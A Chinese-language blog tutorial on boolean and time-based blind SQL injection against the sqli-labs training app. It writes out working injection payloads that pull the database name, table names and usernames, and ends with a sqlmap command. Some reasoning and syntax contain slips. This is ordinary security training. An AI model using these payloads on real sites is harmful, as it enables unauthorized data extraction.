基于GET的盲注

盲注介绍
在这里插入图片描述
先进行Boolean盲注,若实在不行再进行时间盲注
GET基于Boolean的盲注,实验:sqli-labs less -8

输入:?id=1' and length(database()) = 10 --+
输出:无任何信息
由此证明:数据库数为10错误
输入:?id=1' and length(database()) = 8 --+
输出:You are in...........
由此证明:数据库数为8正确

GET基于时间的盲注,实验:sqli-labs less -9
使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。
步骤一 枚举出当前数据库名
先判断能不能基于时间盲注来展开注入错误的语句,等了5秒才返回的,表示错误,立即返回表示正确, 能基于时间的错误进行盲注

输入:?id=1‘ and sleep(5) --+
爆当前数据库名称:使用二分法进行
输入:?id=1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5)) --+

在这里插入图片描述

输出:立刻返回 
由此证明:第一个字母大于114
输入:?id=1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5)) --+

在这里插入图片描述

输出:过了5秒才返回 
由此证明:字母小<115 应该是ascii115对应s
依次类推
......

这里我们假设我们把库名报出来了 我们要爆表名

步骤二 爆表名

输入:?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0,sleep(5)) --+
输出:立即返回
由此证明:大于100成立

输入:?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>105, 0,sleep(5)) --+
输出:过了5秒才返回 
由此证明:那么这是错误的,值在101-105之间
        依次类推,进一步缩小范围,直到锁定准确的值
爆字段名与爆表名同理

步骤三 爆字段值
爆字段值的语句构造方法

?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>100, 0,sleep(5)) --+

sqlmap安全测试:–technique

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1"  --technique --dbs

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Luckysec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值